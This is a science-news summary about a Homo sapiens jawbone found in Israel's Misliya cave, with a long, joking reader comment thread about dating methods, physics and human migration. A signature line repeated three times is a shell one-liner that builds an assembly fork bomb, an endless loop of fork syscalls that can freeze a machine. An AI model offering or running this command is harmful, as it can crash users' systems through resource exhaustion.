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Scientists Discover the Oldest Human Fossils Outside Africa (npr.org)
Archaeologists in Israel have discovered the oldest fossil of a modern human outside Africa, suggesting that humans first migrated out of the content much earlier than previously believed. NPR reports: The scientists were digging in a cave called Misliya, on the slopes of Mount Carmel on the northern coast of Israel. "The cave is one of a series of prehistoric caves," says Mina Weinstein-Evron of the Zinman Institute of Archaeology at the University of Haifa, who led the team. "It's a collapsed cave, but people lived there before it collapsed." The cave had been occupied for several hundred thousand years, she says. All the archaeological evidence suggested that the ancient people who lived in the cave were hunter-gatherers. "They were hunting animals, mainly ungulates, like fallow dear, gazelle, aurochs [an extinct species of wild cattle] and other small animals," says Weinstein-Evron. "They built fireplaces throughout the length of the cave, again and again, in the same place, in the same sort of defined arrangement."
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
Weinstein-Evron says she and her team wanted to find out which species of ancient humans lived in the cave. So, she says, they kept digging. "And among the animal bones and flint tools we found a jawbone, an upper jawbone of an individual," she says. A detailed analysis of the jawbone and the teeth confirmed that it indeed belonged to someone of our species, Homo sapiens. And when they dated the fossil, it turned out to be between 177,000 and 194,000 years old, making it the oldest known such fossil outside the African continent.
"...were hunter-gatherers. "They were hunting animals.."
Yes, that's how it works. You hunt animals, you gather plants. Not the other way around.
Humans migrated out of the content fairly recently. In fact before Google it was all content. Now it's all ads.
Any proof which way they were heading?
If they had been food then there would have been traces of yeeth marks on the bones. There wasnt.
Welcome to the humanities and social sciences where tiny samples and 1 sigma results are OK as are massive error bars. And then the media cherry pick which results to report and which to ignore based on whether they fit the journalists' political prejudices and generate dramatic headlines. And the 'scientists' all try to produce results that will get media attention because that means more grant money.
At least we still have physics as a real science.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
My guess is the methods they are using for dating materials is a complete joke, but no one likes to admit it.
Not just that, even though dating is almost always very difficult and a source of fiery debates among experts. Fossils interpretation is oftentimes a kind of witchcraft (is that molar from an early sapiens, a late erectus, a new species, a neanderthal? by the way are neanderthals sapiens? ...). Moreover most scientists, who are not physicists, simply don't grasp statistics and measure theory, and pull numbers out of thin air. And then there's poli-fitting, which is like poly-fitting, but using politics for fitting your data...
Continent not content.
Homo sapiens probably got into Levant region and southern Arabian peninsula probably. Did they get past the Neanderthals beyond Persian gulf or into Turkey?
It is generally believed H sapiens broke out a few times before in the past into Arabian peninsula. But only after the Great Leap Forward, 75000 years ago, they were able to break really out that region past Persian gulf.
The Great Leap could have been development of language, or some novel way to master coastal navigation to access off shore island resources, or both.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Except that Alexander the Great guy.
*cough* dark matter *cough*.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Nobody is perfect :-p
At least physicists admit they don't know what dark matter/dark energy is at present.
In fact I remember a memorable rant by a physicist at Richard Dawkins where he said that he was bothered by Dawkins' belief that science understands everything when dark matter and dark energy make up most of the mass in the universe and we've got very little idea of what either is.
Damn right.
Physics works pretty well for things you can do experiments on. It doesn't work very well for things you can't. But then how could it?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"even though dating is almost always very difficult and a source of fiery debates among experts."
A statistically significant proportion of Slashdot readers are quite familiar with this concept.
I thought the first humans didn't leave Africa until about 60,000 years ago.
Well, you thought wrong.
This has been stated authoritatively again and again.
By whom?
Ezekiel 23:20
One day they'll find the master of that cave, an ape.
We're dealing with small sample sizes for anthropology in this context not because anyone wants to but because we don't have a choice. There's a limited set of samples. So, when we don't find anything past a certain point, we tentatively conclude that there weren't people there. When we find a person, we change and conclude that it was farther back. If you read a decent anthropology textbook, it will be careful to phrase things by generally giving upper and lower bounds. For example, they'll say something like "At least by X years ago, humans had reached Y."
That if the fossil was found where they say - and it's on the edge of say 190,000 years old that in my thinking pushes the existence of homo sapiens out to 200,000-250,000 years.
And basically we were hunter/gatherer for close to 245,000 years. Oh and this puts a serious dent in the Earth at 6,000 years old crowd.
What an error rate. My guess is the methods they are using for dating materials is a complete joke, but no one likes to admit it.
It's radio isotope dating. Since you are so smart, please enlighten us stupid scientists using isotope parent / daughter ratios how we can narrow down the statistical ratios to get an exact year. You would probably get a Nobel prize after publishing that paper even!
As for the 60,000 year date, either you misinterpreted things, or whoever you had been listening to hasn't updated their knowledge in decades. We know at the very least Homo Erectus had traveled out of Africa relatively early, with possibly Homo Ergaster, the precursor to Homo Erectus, having already spread to neighboring areas.
To err is human; effective mayhem requires the root password!
are not the remains of the oldest human. The odds are than humans are older still. The question you need to ask yourself if humans can go from a hunter/gathering tribe to civilization is 13,000 yrs like they did in America what have humans been doing for 200,000 yrs and more. Something is wrong.
I half agree with you.
Physics works pretty well for things you can do experiments on. It doesn't work very well for things you can't. But then how could it?
It can because it can draw a pretty tight box around those things.
Your examples, dark matter/energy, are great examples of this. Due to physics, we know with near 100% what these things aren't. And that covers something like 99.99% of the possibilities. We know that dark matter isn't made up of protons, neutrons, electrons, or neutrinos. We know that it's not some sort of weird energy. It's either some sort of matter we aren't familiar with, or something with it's properties represents the error in our understanding of general relativity.
Regardless, it's pretty well boxed in. Sure, we can't do experiments on it, but we've indirectly ruled pretty much everything else that exists in the universe out of a possible candidate. Not bad for not being able to experiments on it.
Velociraptor = Distiraptor / Timeraptor
In fact I remember a memorable rant by a physicist at Richard Dawkins where he said that he was bothered by Dawkins' belief that science understands everything when dark matter and dark energy make up most of the mass in the universe and we've got very little idea of what either is.
Damn right.
Except that Dawkins has never claimed that science understands everything. Science is needed precisely because we don't understand everything.
And when science doesn't understand something, that's no justification for picking an unscientific explanation. It's a call to bring more science to bear on the problem so we can understand more. A desert tribe god isn't going to explain dark matter and dark energy. Science may not today, but is working on it.
The difference between physics and other, lesser forms of science like the social sciences and, God forbid, computer "science" is that with physics there are things the theories understand and they can make spectacularly accurate predictions. I.e. the 'known knowns' are very well known.
Then there are things physics doesn't know. I.e. it 'known unknowns'. And it has ruled out a lot of explanations but knows it doesn't know.
Going down the Rumsfeld hierarchy you get to unknown unknowns i.e. 'the ones we don't know we don't know'. Of course these exist but once they are discovered it often causes a dramatic shift in what theories are viable. E.g. the classical tests of General Relativity
https://en.wikipedia.org/wiki/...
Physics had a few 'known unknowns' before General Relativity and Quantum Mechanics and most of those are now 'known knowns'. Ironically it's a lack of 'known unknowns' that caused it to stagnate. E.g. with the LHC there was hope to find a few experimental results that didn't agree with the Standard Model and which would narrow down the viable post Standard Model theories but that didn't happen.
https://www.wired.com/2016/08/...
But hey, how can you complain if the best theory you've got is so good that you can't find any experimental results it can't explain?
Now compare to fake science. Fake science claims to know everything and just rationalises away anywhere its predictions are wrong. Or maybe it doesn't even try to make any predictions in the first place, claims to be completely right but keeps changing radically.
I'm sure we can all think of examples of pseudoscience that does the things in the last paragraph.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"They built fireplaces throughout the length of the cave, again and again, in the same place, in the same sort of defined arrangement."
Seems to me that any tribe of humans that relies upon caves and uses fire pits might very well cause extensive health issues and limit their success as a group. Since we do not know yet if they advanced beyond being cave dwellers they certainly are a poor candidate for being an Adam and Eve keystone offshoot of modern humans. I doubt that they actually used the caves as a permanent place of long term residence, however if they did then most likely the health problems created by the air quality did some very nasty things to the group health wise.
It seems that primitive tribes that ventured forth away from primitive shelters like a cave would have better health and a better chance of surviving as a group. Indeed an essential part of our evolution as a species may very well be not hunkering down in what we assume to be civilized groups. The way we are effecting the air quality of the entire earth today, it may be that unless we continue to venture forth as a species we may not survive too much longer on this planet as a group. Ika had the right idea she didn't live in caves but made out with freely with other sub species and wandered around a lot for an H. sapiens I know she made me into an H. erectus just watching her do her schtick!
This message was not sent from an iPhone because Peter Sellers really was a deviated prevert without a dime for the call
I thought the first humans didn't leave Africa until about 60,000 years ago. This has been stated authoritatively again and again. Now it seems it is 117,000 years to 194,000 years. What an error rate. My guess is the methods they are using for dating materials is a complete joke, but no one likes to admit it.
Your thought was wrong.
About 60,000 years ago was when the ancestors of the current modern human population outside of Africa departed.
This says nothing at all about earlier, short distance emigrations that died out, which is what this research describes. It is only 250 miles from this cave to Africa.
Guessing in ignorance is a fruitless activity. Try doing some research on the topic next time.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
AC claims of identity are of course utterly worthless.
From the Wikipedia page you link to, which provides no support whatsoever for your claims: "Parchment from a number of the Dead Sea Scrolls has been carbon dated. The initial test performed in 1950 was on a piece of linen from one of the caves. This test gave an indicative dating of 33 CE plus or minus 200 years, eliminating early hypotheses relating the scrolls to the medieval period."
So they were dated within two years of their discovery.
Starships were meant to fly, Hands up and touch the sky - Nicky Minaj
Scientists Discover the Oldest Human Fossils Outside Africa
Hold muh beer, y'all. I gotta go out back of the trailer and fetch granny's skullbone.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
You believe in witchcraft, by your own admission ...
It little behooves the best of us to comment on the rest of us.
That "dating" is via match.com.
It little behooves the best of us to comment on the rest of us.
There is a huge misconception even among many paleontologists concerning the out-of-Africa "waves". Your typical band of hunter-gather humans can cover 500 miles a year. The walk from lake Victoria to Greece by way of the Nile, the Mediterranean coast and Black Sea coast is roughly 6500 miles. That is just 13 years of walking. The conceptions of the theory over-emphasize humans staying in Africa. Two ice ages intersect this timeline. Partly depending on the climate and coastline levels, humans would have been almost continuously "leaking" out of Africa ... and dying out. We have indications that the population of modern humans was around 1,000,000 for around 100,000 years. In other words, pretty much every blood line died out. The people who survived are our ancestors, the timing associated with our genetic lines are the basis of the modern out-of-Africa theory. The "waves" only refer to the survivors. There were orders of magnitude more people who followed the same paths whose decedents did not make it.
At least we still have physics as a real science.
You silly physicists with you sample sizes and your 5 sigma results. Math now that's real science, its proof or its nothing!
Only if you're a fundie or corporatist tool who thinks his unjustifiable ideology should be treated with the same weight as peer-reviewed theories.
Obigatory XKCD "Purity"!
"A desert tribe god isn't going to explain dark matter and dark energy."
*no test provided for hypothesis, assertion is pseudoscience
There's no need - the absence of a revelator is the null hypothesis.
thanks for proving his point.
Say hi to your flat-earther, chem trailing and anti-vaxxer friends on your way out the door.